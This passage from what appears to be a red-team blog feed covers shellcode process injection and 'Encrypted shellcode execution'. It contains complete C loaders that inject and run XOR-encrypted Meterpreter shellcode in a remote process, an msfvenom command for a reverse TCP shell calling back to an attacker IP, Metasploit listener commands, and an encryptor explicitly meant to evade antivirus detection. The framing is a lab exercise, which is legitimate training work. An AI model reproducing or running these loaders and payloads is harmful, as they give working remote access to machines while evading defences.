&quot;\x8a\x2d\xf1\x9d\x98\x89\xbe\x64\x6b\x65\x38\x27\x24\x22\x2b\x20\x50\xa0\x01\x23\xee\x2b\x16\x34\x24\x31\xe3\x33\x6a\x2c\xe0\x37\x59\x3e\xee\x00\x29\x25\x50\xbb\x2c\x64\xd2\x33\x3c\x2d\x43\xb9\xc4\x5d\x13\x18\x69\x49\x59\x37\xa4\xbb\x74\x29\x60\xb3\x86\x86\x37\x31\xfd\x37\x52\x38\x39\xea\x30\x58\x23\x64\xa9\x10\xe4\x0a\x61\x63\x63\x7d\xe1\x19\x65\x79\x76\xee\xf2\xf1\x68\x61\x72\x2c\xee\xa5\x0d\x11\x2d\x73\xa9\x38\xea\x3a\x7c\x2f\xee\x39\x56\x2c\x73\xa9\x8b\x37\x3f\x55\xa2\x2d\x86\xbf\x24\xf9\x4d\xe0\x29\x73\xb2\x23\x54\xb9\x37\xa4\xbb\x74\xc4\x20\x73\xa5\x53\x85\x0c\x87\x29\x71\x35\x4c\x69\x37\x5d\xba\x10\xa1\x2e\x21\xf9\x39\x4c\x28\x73\xb4\x0d\x24\xf2\x7a\x2d\x36\xf2\x28\x7d\x3b\x65\xbb\x24\xf2\x72\xed\x3a\x78\xb8\x20\x2a\x25\x33\x3b\x20\x2c\x24\x2a\x38\x31\x20\x28\x2c\xe8\x89\x59\x37\x37\x8d\x99\x30\x20\x2b\x3e\x23\xee\x6b\x9f\x2e\x8d\x86\x97\x3c\x3b\xda\x1c\x16\x4b\x29\x56\x40\x79\x68\x20\x24\x2d\xe2\x83\x31\xf7\x89\xd2\x78\x68\x61\x3b\xed\x8e\x2c\xc5\x74\x65\x63\x22\xa8\xc9\x16\xc3\x2a\x31\x30\xff\x81\x3e\xf0\x99\x20\xc8\x28\x1c\x43\x7e\x89\xb0\x3e\xf0\x82\x09\x73\x65\x6b\x65\x20\x37\xdf\x5b\xf9\x03\x61\x8d\xb1\x01\x6f\x38\x28\x35\x22\x34\x59\xa8\x3f\x55\xab\x2d\x86\xb6\x2d\xfb\xbb\x20\x9e\xb2\x2c\xe2\xa4\x38\xcc\x8f\x7d\xa6\x88\x9e\xa7\x2c\xe2\xa2\x13\x66\x24\x2a\x35\xe1\x83\x3a\xed\x92\x24\xc3\xef\xc0\x06\x18\x97\xb4\xf7\xa4\x1f\x6f\x30\x89\xab\x07\x9c\x80\xf2\x72\x64\x6b\x2d\xfa\x9a\x75\x3a\xf0\x8a\x2c\x43\xad\x01\x61\x38\x2e\x2d\xfb\x80\x29\xdb\x70\xbd\xa3\x3a\x86\xa3\xe6\x8a\x79\x16\x34\x3a\xe7\xaf\x45\x27\xff\x93\x18\x39\x29\x38\x1a\x64\x7b\x65\x79\x37\x3d\x3a\xf0\x9a\x29\x43\xad\x2a\xdf\x21\xd2\x36\x97\x86\xbd\x29\xfb\xa7\x22\xec\xbe\x3b\x54\xbb\x30\xe1\x91\x3a\xed\xb1\x2d\xf0\x8f\x24\xc8\x7b\xb1\xa9\x2d\x9b\xbe\xe6\x81\x76\x18\x5a\x21\x29\x36\x2b\x0c\x6b\x25\x79\x76\x24\x2a\x13\x68\x3b\x33\xde\x60\x4a\x76\x46\x9a\xa7\x2e\x31\x20\xc8\x11\x05\x28\x18\x89\xb0\x3b\x86\xa6\x88\x4e\x9b\x94\x9a\x31\x77\xa6\x3a\x50\xae\x29\xf7\x92\x1e\xd1\x38\x89\x82\x2a\x13\x68\x38\x3b\xa3\xa9\x95\xcc\xd4\x33\x8d\xac&quot;;<br>    int sizeshellcode = sizeof(shellcode);<br>    i(&quot;Size of shellcode is: %zd bytes\n&quot;,sizeshellcode);<br><br>    <br> if (argc &lt; 2){<br>  e(&quot;Usage: %s &lt;PID&gt;&quot;, argv[0]);<br>  return 1;<br> }<br><br> PID = atoi(argv[1]); //Converting the argument to int<br>    i(&quot;Inserted PID: %d\n&quot;, PID);<br><br>    /*Getting the handle of a process specified by its PID*/<br>    i(&quot;Trying to get the handle of the Procees: &quot;, PID);<br>    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);<br>    if (hProcess == NULL){<br>        e(&quot;Not Able to get the handle of process %d&quot;, PID);<br>        return 1;<br>    }<br>    s(&quot;Got the Handle of the process: %d&quot;, PID);<br>    i(&quot;Processes Handle: 0x%p\n&quot;, hProcess);<br><br><br>    /*Allocating the buffer within the virtual addrress space of the process*/<br>    i(&quot;Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p&quot;,hProcess);<br>    AllocBuffer = VirtualAllocEx(hProcess, NULL, sizeshellcode, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);<br>    if (AllocBuffer == NULL){<br>        e(&quot;Failed to Allocate Buffer&quot;);<br>        return 1;<br>    }<br>    s(&quot;Succesfully Aloocated the buffer into the Virtual space of the process&quot;);<br>    i(&quot;Address: %x\n&quot;, AllocBuffer);<br><br><br>    /*Write the shellcode into the buffer*/<br>    if (WriteProcessMemory(hProcess, AllocBuffer, shellcode, sizeshellcode, NULL) == 0){<br>        e(&quot;Unable to write the shellcode&quot;);<br>        return 1;<br>    }<br>    s(&quot;Wrote Shellcode to the buffer!&quot;);<br><br>    /*Decrypting the shellcode in memory*/<br>    BYTE value;<br>    char key[] = &quot;veryhardkey&quot;;<br>    for (int i = 0; i &lt; sizeshellcode-1; i++){<br>        ReadProcessMemory(hProcess, AllocBuffer+i, &amp;value, sizeof(value), NULL);<br><br>        value = (value ^ key[i%11]);       // decrypt<br>        WriteProcessMemory(hProcess, AllocBuffer+i, &amp;value, sizeof(value), NULL);<br>        <br>        ReadProcessMemory(hProcess, AllocBuffer+i, &amp;value, sizeof(value), NULL);<br>    }<br><br>    /*Creating a thread to execute the shellcode*/<br>    hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)AllocBuffer, NULL, 0, 0, &amp;TID);<br><br>    i(&quot;Thread invoked!&quot;);<br>    i(&quot;Thread Handle: 0x%p&quot;, hThread);<br>    i(&quot;Thread ID: %d&quot;, TID);<br><br>    return 0;<br>}</pre><p>Setup the listener on msfconsole.</p><pre>use exploit/multi/handler<br>set payload windows/x64/meterpreter/reverse_tcp<br>set lhost 192.168.100.167<br>set lport 4443<br>exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AO41bKCuQDNTqjG5BVSDQA.png" /></figure><p>Bytes written in memory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wIi8MvzM1EJ7wwUnFIdegw.png" /></figure><p>Thread ID:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2q8qyP57RCK0HVzePUWXxw.png" /></figure><h4>9. Cleaning up and closing handles</h4><p>During execution, you can utilize the WaitForSingleObject function, which enables a program to await a particular object (like a thread, process, or synchronization object) to enter a signaled state.</p><p>For this purpose, provide the hThread parameter as the object handle and INFINITE for the timeout interval, indicating that the function should wait until the object becomes signaled.</p><p>Once the thread closes and signals the function, you can perform cleanup by closing both handles using CloseHandle() to eliminate any unnecessary resources.</p><p>Raed more about these functions below:</p><ul><li><a href="https://learn.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle">CloseHandle function (handleapi.h) - Win32 apps</a></li><li><a href="https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject">WaitForSingleObject function (synchapi.h) - Win32 apps</a></li></ul><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>#define i(msg, ...) printf(&quot;[*] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define e(msg, ...) printf(&quot;[-] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define s(msg, ...) printf(&quot;[+] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define w(msg, ...) printf(&quot;[!] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br><br>int main(int argc, char* argv[]){<br><br>    /*Declaring and initializing variables*/<br>    HANDLE hProcess, hThread = NULL;<br>    DWORD PID, TID;<br>    LPVOID AllocBuffer;<br><br>    /*Initializing Shellcode and its szie*/<br>    unsigned char shellcode[] = &quot;\x8a\x2d\xf1\x9d\x98\x89\xbe\x64\x6b\x65\x38\x27\x24\x22\x2b\x20\x50\xa0\x01\x23\xee\x2b\x16\x34\x24\x31\xe3\x33\x6a\x2c\xe0\x37\x59\x3e\xee\x00\x29\x25\x50\xbb\x2c\x64\xd2\x33\x3c\x2d\x43\xb9\xc4\x5d\x13\x18\x69\x49\x59\x37\xa4\xbb\x74\x29\x60\xb3\x86\x86\x37\x31\xfd\x37\x52\x38\x39\xea\x30\x58\x23\x64\xa9\x10\xe4\x0a\x61\x63\x63\x7d\xe1\x19\x65\x79\x76\xee\xf2\xf1\x68\x61\x72\x2c\xee\xa5\x0d\x11\x2d\x73\xa9\x38\xea\x3a\x7c\x2f\xee\x39\x56\x2c\x73\xa9\x8b\x37\x3f\x55\xa2\x2d\x86\xbf\x24\xf9\x4d\xe0\x29\x73\xb2\x23\x54\xb9\x37\xa4\xbb\x74\xc4\x20\x73\xa5\x53\x85\x0c\x87\x29\x71\x35\x4c\x69\x37\x5d\xba\x10\xa1\x2e\x21\xf9\x39\x4c\x28\x73\xb4\x0d\x24\xf2\x7a\x2d\x36\xf2\x28\x7d\x3b\x65\xbb\x24\xf2\x72\xed\x3a\x78\xb8\x20\x2a\x25\x33\x3b\x20\x2c\x24\x2a\x38\x31\x20\x28\x2c\xe8\x89\x59\x37\x37\x8d\x99\x30\x20\x2b\x3e\x23\xee\x6b\x9f\x2e\x8d\x86\x97\x3c\x3b\xda\x1c\x16\x4b\x29\x56\x40\x79\x68\x20\x24\x2d\xe2\x83\x31\xf7\x89\xd2\x78\x68\x61\x3b\xed\x8e\x2c\xc5\x74\x65\x63\x22\xa8\xc9\x16\xc3\x2a\x31\x30\xff\x81\x3e\xf0\x99\x20\xc8\x28\x1c\x43\x7e\x89\xb0\x3e\xf0\x82\x09\x73\x65\x6b\x65\x20\x37\xdf\x5b\xf9\x03\x61\x8d\xb1\x01\x6f\x38\x28\x35\x22\x34\x59\xa8\x3f\x55\xab\x2d\x86\xb6\x2d\xfb\xbb\x20\x9e\xb2\x2c\xe2\xa4\x38\xcc\x8f\x7d\xa6\x88\x9e\xa7\x2c\xe2\xa2\x13\x66\x24\x2a\x35\xe1\x83\x3a\xed\x92\x24\xc3\xef\xc0\x06\x18\x97\xb4\xf7\xa4\x1f\x6f\x30\x89\xab\x07\x9c\x80\xf2\x72\x64\x6b\x2d\xfa\x9a\x75\x3a\xf0\x8a\x2c\x43\xad\x01\x61\x38\x2e\x2d\xfb\x80\x29\xdb\x70\xbd\xa3\x3a\x86\xa3\xe6\x8a\x79\x16\x34\x3a\xe7\xaf\x45\x27\xff\x93\x18\x39\x29\x38\x1a\x64\x7b\x65\x79\x37\x3d\x3a\xf0\x9a\x29\x43\xad\x2a\xdf\x21\xd2\x36\x97\x86\xbd\x29\xfb\xa7\x22\xec\xbe\x3b\x54\xbb\x30\xe1\x91\x3a\xed\xb1\x2d\xf0\x8f\x24\xc8\x7b\xb1\xa9\x2d\x9b\xbe\xe6\x81\x76\x18\x5a\x21\x29\x36\x2b\x0c\x6b\x25\x79\x76\x24\x2a\x13\x68\x3b\x33\xde\x60\x4a\x76\x46\x9a\xa7\x2e\x31\x20\xc8\x11\x05\x28\x18\x89\xb0\x3b\x86\xa6\x88\x4e\x9b\x94\x9a\x31\x77\xa6\x3a\x50\xae\x29\xf7\x92\x1e\xd1\x38\x89\x82\x2a\x13\x68\x38\x3b\xa3\xa9\x95\xcc\xd4\x33\x8d\xac&quot;;<br>    int sizeshellcode = sizeof(shellcode);<br>    i(&quot;Size of shellcode is: %zd bytes\n&quot;,sizeshellcode);<br><br>    <br> if (argc &lt; 2){<br>  e(&quot;Usage: %s &lt;PID&gt;&quot;, argv[0]);<br>  return 1;<br> }<br><br> PID = atoi(argv[1]); //Converting the argument to int<br>    i(&quot;Inserted PID: %d\n&quot;, PID);<br><br>    /*Getting the handle of a process specified by its PID*/<br>    i(&quot;Trying to get the handle of the Procees: &quot;, PID);<br>    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);<br>    if (hProcess == NULL){<br>        e(&quot;Not Able to get the handle of process %d&quot;, PID);<br>        return 1;<br>    }<br>    s(&quot;Got the Handle of the process: %d&quot;, PID);<br>    i(&quot;Processes Handle: 0x%p\n&quot;, hProcess);<br><br><br>    /*Allocating the buffer within the virtual addrress space of the process*/<br>    i(&quot;Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p&quot;,hProcess);<br>    AllocBuffer = VirtualAllocEx(hProcess, NULL, sizeshellcode, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);<br>    if (AllocBuffer == NULL){<br>        e(&quot;Failed to Allocate Buffer&quot;);<br>        return 1;<br>    }<br>    s(&quot;Succesfully Aloocated the buffer into the Virtual space of the process&quot;);<br>    i(&quot;Address: %x\n&quot;, AllocBuffer);<br><br><br>    /*Write the shellcode into the buffer*/<br>    if (WriteProcessMemory(hProcess, AllocBuffer, shellcode, sizeshellcode, NULL) == 0){<br>        e(&quot;Unable to write the shellcode&quot;);<br>        return 1;<br>    }<br>    s(&quot;Wrote Shellcode to the buffer!&quot;);<br><br>    /*Decrypting the shellcode in memory*/<br>    BYTE value;<br>    char key[] = &quot;veryhardkey&quot;;<br>    for (int i = 0; i &lt; sizeshellcode-1; i++){<br>        ReadProcessMemory(hProcess, AllocBuffer+i, &amp;value, sizeof(value), NULL);<br><br>        value = (value ^ key[i%11]);       // decrypt<br>        WriteProcessMemory(hProcess, AllocBuffer+i, &amp;value, sizeof(value), NULL);<br>        <br>        ReadProcessMemory(hProcess, AllocBuffer+i, &amp;value, sizeof(value), NULL);<br>    }<br><br>    /*Creating a thread to execute the shellcode*/<br>    hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)AllocBuffer, NULL, 0, 0, &amp;TID);<br><br>    i(&quot;Thread invoked!&quot;);<br>    i(&quot;Thread Handle: 0x%p&quot;, hThread);<br>    i(&quot;Thread ID: %d&quot;, TID);<br><br>    WaitForSingleObject(hThread, INFINITE);<br>    CloseHandle(hThread);<br>    CloseHandle(hProcess);<br><br>    return 0;<br>}</pre><p>Now, you can explore ways to automate this task by discovering the PID of a process based on its name, such as notepad.exe, explorer.exe, or onedrive.exe.</p><h3>References</h3><p><a href="https://learn.microsoft.com/en-us/windows/win32/apiindex/windows-api-list#system-services\">Windows API index - Win32 apps</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FA6EKDAKBXPs%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DA6EKDAKBXPs&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FA6EKDAKBXPs%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/88b37a92ec1de82519bb4d814dfba47d/href">https://medium.com/media/88b37a92ec1de82519bb4d814dfba47d/href</a></iframe><ul><li><a href="https://www.crow.rip/crows-nest/malware-development/process-injection/shellcode-injection#creating-a-thread">Shellcode Injection</a></li><li><a href="https://shells.systems/in-memory-shellcode-decoding-to-evade-avs/">In-Memory shellcode decoding to evade AVs/EDRs - Shells.Systems</a></li><li><a href="https://tryhackme.com/room/abusingwindowsinternals">TryHackMe | Cyber Security Training</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae82737d8f65" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Encrypted shellcode execution]]></title>
            <link>https://ainkun.medium.com/encrypted-shellcode-execution-895c7d468532?source=rss-292ac73492------2</link>
            <guid isPermaLink="false">https://medium.com/p/895c7d468532</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[encryption]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[defense-evasion]]></category>
            <dc:creator><![CDATA[Hussain K.]]></dc:creator>
            <pubDate>Tue, 29 Aug 2023 08:14:03 GMT</pubDate>
            <atom:updated>2023-08-29T08:14:03.627Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8XvJst80Luv_XAEL.jpeg" /></figure><h3>Static Detection</h3><p>Static detection is how AVs analyze files or code without executing them. It involves examining the characteristics, structure, and content of a file to determine whether the file is potentially malicious. In essence, it employs pattern-matching techniques in detection, such as identifying unique strings, CRC checksums, sequences of bytecode/Hex values, and cryptographic hashes (MD5, SHA1, etc.).</p><p>There are a couple of ways to bypass this process, such as encrypting or encoding the code, which can potentially avoid being flagged as malicious. However, it’s important to avoid using well-known encodings or encryption methods with weak keys. Modern AVs can employ brute-force techniques to dissect content encrypted using widely known methods and weak keys. It’s recommended to use strong keys or a combination of well-established encodings to enhance the likelihood of bypassing this check.</p><p>In this task, we are going to execute the shellcode generated by msfvenom directly into memory. We will then explore how we can reduce the detection rate by encrypting the hardcoded shellcode, effectively evading static detection.</p><p>For a comparative analysis, we will start by executing the standard generated shellcode and then proceed to execute the encrypted version.</p><h3>Setup:</h3><ol><li><strong>Linux environment(Attacker)</strong></li></ol><ul><li>Metasploit</li></ul><p>2. <strong>Windows environment(Target)</strong></p><ul><li>Disabled windows defender</li><li>MinGW-w64 compiler</li></ul><p>Download the compiler suite from the link below:</p><p><a href="https://winlibs.com/#download-release">WinLibs - GCC+MinGW-w64 compiler for Windows</a></p><p>Follow the tutorial below to install and setup the mingw compilers on your windows machine:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FghikMomksCc%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DghikMomksCc&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FghikMomksCc%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/73d4a4e7497486ed5881707e501ad981/href">https://medium.com/media/73d4a4e7497486ed5881707e501ad981/href</a></iframe><h3>1. Simple Shellcode execution in memory</h3><ol><li>Generate the Meterpreter shellcode for Windows environment.</li></ol><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.167 LPORT=4443 -f c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Np0U4WpmLPr7WmCKHWsB1Q.png" /></figure><p>2. Write a basic C program to execute shellcode in memory.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>unsigned char shellcode[] = <br>&quot;\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50&quot;<br>&quot;\x52\x48\x31\xd2\x65\x48\x8b\x52\x60\x51\x56\x48\x8b\x52&quot;<br>&quot;\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f&quot;<br>&quot;\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41&quot;<br>&quot;\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41&quot;<br>&quot;\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f&quot;<br>&quot;\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0&quot;<br>&quot;\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49&quot;<br>&quot;\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88&quot;<br>&quot;\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1&quot;<br>&quot;\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8&quot;<br>&quot;\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44&quot;<br>&quot;\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41&quot;<br>&quot;\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83&quot;<br>&quot;\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9&quot;<br>&quot;\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00&quot;<br>&quot;\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49&quot;<br>&quot;\x89\xe5\x49\xbc\x02\x00\x11\x5b\xc0\xa8\x64\xa7\x41\x54&quot;<br>&quot;\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5&quot;<br>&quot;\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b&quot;<br>&quot;\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31&quot;<br>&quot;\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41&quot;<br>&quot;\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58&quot;<br>&quot;\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5&quot;<br>&quot;\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00&quot;<br>&quot;\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58&quot;<br>&quot;\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00&quot;<br>&quot;\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68&quot;<br>&quot;\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba&quot;<br>&quot;\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31&quot;<br>&quot;\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9&quot;<br>&quot;\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68&quot;<br>&quot;\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f&quot;<br>&quot;\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49&quot;<br>&quot;\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48&quot;<br>&quot;\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2&quot;<br>&quot;\xf0\xb5\xa2\x56\xff\xd5&quot;;<br> <br>int main(){<br>  <br> void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br> memcpy(exec, shellcode, sizeof shellcode);<br> ((void(*)())exec)();<br> <br>    return 0;<br>}</pre><p>This code demonstrates the process of dynamically allocating memory, copying shellcode into it, and executing the shellcode.</p><p>3. Compiling the code(on windows).</p><pre>gcc -m64 -g -Wall rev-simple.c -o rev-simple.exe</pre><p>4. Setup the listener and execute the compiled program.</p><p>On your linux machine setup your metasploit listener.</p><pre>use exploit/multi/handler<br>set payload windows/x64/meterpreter/reverse_tcp<br>set lhost 192.168.100.167<br>set lport 4443<br>exploit</pre><p>Execute the program to get the reverse shell of the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NL6-Bge7C0shoVAo43EfOA.png" /></figure><p><em>Note: Ensure that you use the </em><strong><em>-m64</em></strong><em> flag during compilation and specify </em><strong><em>x64</em></strong><em> as the architecture when generating the shellcode using msfvenom. It’s crucial to match the architecture settings</em></p><p>When uploaded to <em>VirusTotal</em>, the result showed 23 out of 71 detections. This indicates that the shellcode is widely recognized, and most competent antivirus software will identify it as malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ri5q9j_J7k0DHLZalvJPA.png" /></figure><h3>2. XOR-Encrypted shellcode execution</h3><p>Let’s now attempt to execute the identical shellcode, but this time we’ll embed the encrypted version directly. Additionally, we will implement a routine to decrypt the shellcode before executing it.</p><ol><li>Write an encryptor to encrypt the shellcode.</li></ol><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>unsigned char shellcode[] = <br>&quot;\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50&quot;<br>&quot;\x52\x48\x31\xd2\x65\x48\x8b\x52\x60\x51\x56\x48\x8b\x52&quot;<br>&quot;\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f&quot;<br>&quot;\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41&quot;<br>&quot;\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41&quot;<br>&quot;\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f&quot;<br>&quot;\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0&quot;<br>&quot;\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49&quot;<br>&quot;\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88&quot;<br>&quot;\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1&quot;<br>&quot;\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8&quot;<br>&quot;\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44&quot;<br>&quot;\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41&quot;<br>&quot;\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83&quot;<br>&quot;\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9&quot;<br>&quot;\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00&quot;<br>&quot;\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49&quot;<br>&quot;\x89\xe5\x49\xbc\x02\x00\x11\x5b\xc0\xa8\x64\xa7\x41\x54&quot;<br>&quot;\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5&quot;<br>&quot;\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b&quot;<br>&quot;\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31&quot;<br>&quot;\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41&quot;<br>&quot;\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58&quot;<br>&quot;\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5&quot;<br>&quot;\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00&quot;<br>&quot;\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58&quot;<br>&quot;\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00&quot;<br>&quot;\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68&quot;<br>&quot;\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba&quot;<br>&quot;\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31&quot;<br>&quot;\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9&quot;<br>&quot;\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68&quot;<br>&quot;\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f&quot;<br>&quot;\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49&quot;<br>&quot;\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48&quot;<br>&quot;\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2&quot;<br>&quot;\xf0\xb5\xa2\x56\xff\xd5&quot;;<br><br>int main()<br>{<br> char key[] = &quot;veryhardkey&quot;;<br> int i = 0;<br> <br> for (i; i&lt;sizeof(shellcode) - 1; i++){<br>  printf(&quot;\\x%02x&quot;,shellcode[i]^key[i%11]);<br>     <br> }<br><br>    return 0;<br><br>}</pre><p>This program performs a simple XOR encryption on the provided shellcode using a specified key. Learn more about XOR encrytion <a href="https://en.wikipedia.org/wiki/XOR_cipher">here</a>.</p><p>2. Compile and execute.</p><p>Compile and execute the <em>encryptor.c</em> to get the encrypted shellcode.</p><pre>gcc -m64 -g -Wall encryptor.c -o encryptor.exe 